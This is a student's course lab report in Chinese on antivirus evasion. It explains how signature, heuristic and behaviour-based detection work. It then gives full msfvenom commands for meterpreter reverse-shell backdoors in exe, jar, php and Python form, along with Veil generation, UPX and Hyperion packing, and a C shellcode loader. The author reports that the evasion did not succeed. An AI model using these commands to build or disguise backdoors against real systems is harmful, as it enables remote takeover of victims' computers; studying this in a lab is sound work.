2019-2020-2 20175303柴轩达《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175303柴轩达《网络对抗技术》Exp3 免杀原理与实践

基础知识

1.免杀原理
免杀技术,全称为反杀毒技术(Anti Anti-Virus),是指对恶意软件的处理让其能够不被杀毒软件所检测,同时也是渗透测试中需要使用到的技术。
学习免杀就必须了解恶意软件检测工具是如何运作的,知己知彼,百战百胜。
2.恶意软件检测机制
(1)基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
(2)启发式恶意软件检测
根据些片面特征去推断。通常是因为缺乏精确判定依据。
优点:以检测0-day恶意软件;具有一定通用性
缺点:实时监控系统行为,开销大;没有基于特征码的精确度高
(3)基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,
所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
3.免杀技术综述(Evading AV)
(1)改变特征码
若只有EXE,可以加壳;有shellcode,可以使用encode进行编码,基于payload重新编译生成可执行文件;有源代码,用其他语言进行重写再编译
(2)改变行为
a.通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
b.操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
(3)非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件

实验步骤

1.正确使用msf编码器

1.输入如下的代码,生成met-encoded.exe文件,对后门程序进行编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.0.10 LPORT=5303 -f exe > met-encoded.exe
正常结果如下:

用virustotal检测结果如下,检出率较高:

2.输入如下代码,生成met-encoded1..exe文件,相比上一条指令多了-i 10,意思是编码十次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' -i 10 LHOST=192.168.0.10 LPORT=5303 -f exe > met-encoded.exe
正常结果如下:

用virustotal检测结果如下,检出率较高:

检出率较高原因:
(1)shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到这部分即可。
(2)msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

2.msfvenom生成如其他类型文件

(1)生成jar文件
生成命令如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=5303 f jar > 20175303_java_backdoor.jar
正常结果如下:

用virustotal检测结果如下,检出率中等:

(2)生成php文件
生成命令如下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=5303 x> 20175303_php_backdoor.php
正常结果如下:

用virustotal检测结果如下,检出率很低:

(3)生成python文件
生成命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=5303 -e x86/shikata_ga_nai -f py -o 20175303_py_backdoor.py
正常结果如下:

用virustotal检测结果如下,检出率为0:

这个py文件不会被认为是恶意代码,是因为这个py文件实际上是一个shellcode,而不是可执行程序
(4)

3.veil

(1)veil安装
输入sudo apt-get install veil

中途报错可能会需要输入提示的命令

安装完成后输入veil,还会有安装

依次出现如下界面为正常

接下来会提示安装pywin32-220

按提示安装pycrypto-2.6.1

语言选择英语

安装ruby

安装autoit

安装成功后出现以下界面

(2)使用veil生成后门程序
使用use 7命令或use c/meterpreter/rev_tcp.py命令,使用此种payload
使用set LHOST 192.168.0.10set LPORT 5303来设置本地的IP地址和端口号
输入generate生成

生成界面成功如下,显示可执行程序保存位置:

用virustotal检测结果如下,检出率较高:

4.加壳工具

(1)使用upx压缩壳
使用upx 20175303_veil_backdoor.exe -o 20175303_veil_backdoor_upx.exe命令加密刚才veil生成的程序

用virustotal检测结果如下,检出率较高:

(2)使用Hyperion加密壳
首先需要找到含有hyperion.exe的可执行文件在哪个文件夹里面,一般在/usr/share/windows-resources/hyperion或者/usr/share/windows-binaries/hyperion/目录中,我的是在/usr/share/windows-resources/hyperion目录中。
首先进入管理员模式,通过cp 20175303_veil_backdoor_upx.exe /usr/share/windows-resources/hyperion将刚才经过upx压缩的后门放到含有hyperion的文件夹下

然后进入cd /usr/share/windows-resources/hyperion进入到目录中
输入wine hyperion.exe -v 20175303_veil_backdoor_upx.exe 20175303_veil_backdoor_upx_hyperion.exe命令给经过upx的后门用hyperion加密

用virustotal检测结果如下,检出率较高:

5.使用C + shellcode编程

使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=5303 -f c > callshellcode.c 命令生成一段shellcode到callshellcode.c

然后打开callshellcode.c,添加代码如下:

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

然后使用i686-w64-mingw32-g++ callshellcode.c -o 20175303_backdoor.exe将c文件变成一个可执行程序。

用virustotal检测结果如下,检出率较高:

6.使用其他课堂未介绍方法

打开veil,输入use evasion,输入list查看payload列表,输入use 16尝试第16项go/meterpreter/rev_tcp

设置本地IP地址、本地端口号后生成

可执行程序的保存地址

用virustotal检测结果如下,检出率较高:

7.通过组合应用各种技术实现恶意代码免杀

很遗憾,使用了组合,但最后并没有实现免杀
我使用的组合为半手工制成shellcode生成的可执行程序用upx压缩再用hpyerion加密,得到的后门
步骤与5加壳步骤类似如下:
利用6生成的可执行程序,先压缩:

压缩后加密:

但是最后效果都一般,没有实现免杀。
压缩后检出率:

加密后检出率:

8.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

没有实现免杀,只能在关闭杀软的情况下,实现反弹连接
在kali打开监听,实现反弹连接

windows端运行后门程序(不知道什么原因,只能运行经过upx压缩后的后门,但是经过hyperion加密的后门并不能运行)

实验中遇到的问题

问题1:安装veil的过程中总是出现错误
解决:主要应该是网络的问题,网络连接换成手机热点应该会更好
问题2:在使用hyperion加密壳的时候,在/usr/share/windows-binaries没找到对应的hyperion文件夹
解决:可能也有一部分电脑是在/usr/share/windows-resources下面
问题2:到最后我并没有做出能够实现免杀的程序
解决:参考部分同学的博客,有的方法可能需要一定的python功底挺难,另一部分同学的能成功我也没能成功,可能我哪步有问题或电脑安全性好一点。等看哪位同学是不用额外知识做出来的下次参考一下
问题3:比较简单的用半手工生成含有shellcode的可执行程序,在经过压缩壳、加密壳处理后,并不能在windows运行进行反弹连接
解决:只经过upx压缩后可以运行的

问题回答

1.杀软是如何检测出恶意代码的?
基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
2.免杀是做什么?
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
3.免杀的基本方法有哪些?
改变特征码的技术:加壳、使用encode进行编码、基于payload重新编译生成可执行文件、使用其他语言重写再编译
改变行为的技术: 尽量使用反弹式连接,使用隧道技术,加密通讯数据;基于内存操作,减少对系统修改,加入混淆作用的正常功能代码
非常规技术:使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工制作恶意软件
4.开启杀软能绝对防止电脑中恶意代码吗?
并不一定,在这个实验过程中,通过加壳的操作有时候也能够骗过杀毒软件的查杀。所以杀毒软件也并不是万能的,偶尔也会出现一些漏杀,不过总体来说还是比较安全可靠的。

实验体会

这次实验有一定的难度,但如果不做到最后免杀成功,其实只有繁琐。只是各种方式然后组合构造后门,然后看这个后门程序的检出率。但是想要做出真正能够实现免杀的后门程序还是挺难得。总的来说还是学会了一点东西,能够基本的使用veil的构造后门程序,能够用msf生成各种类型的后门以及shellcode,学会了使用压缩壳加密壳,还是有所收获的。

原文地址:https://www.cnblogs.com/cxd20175303/p/12609531.html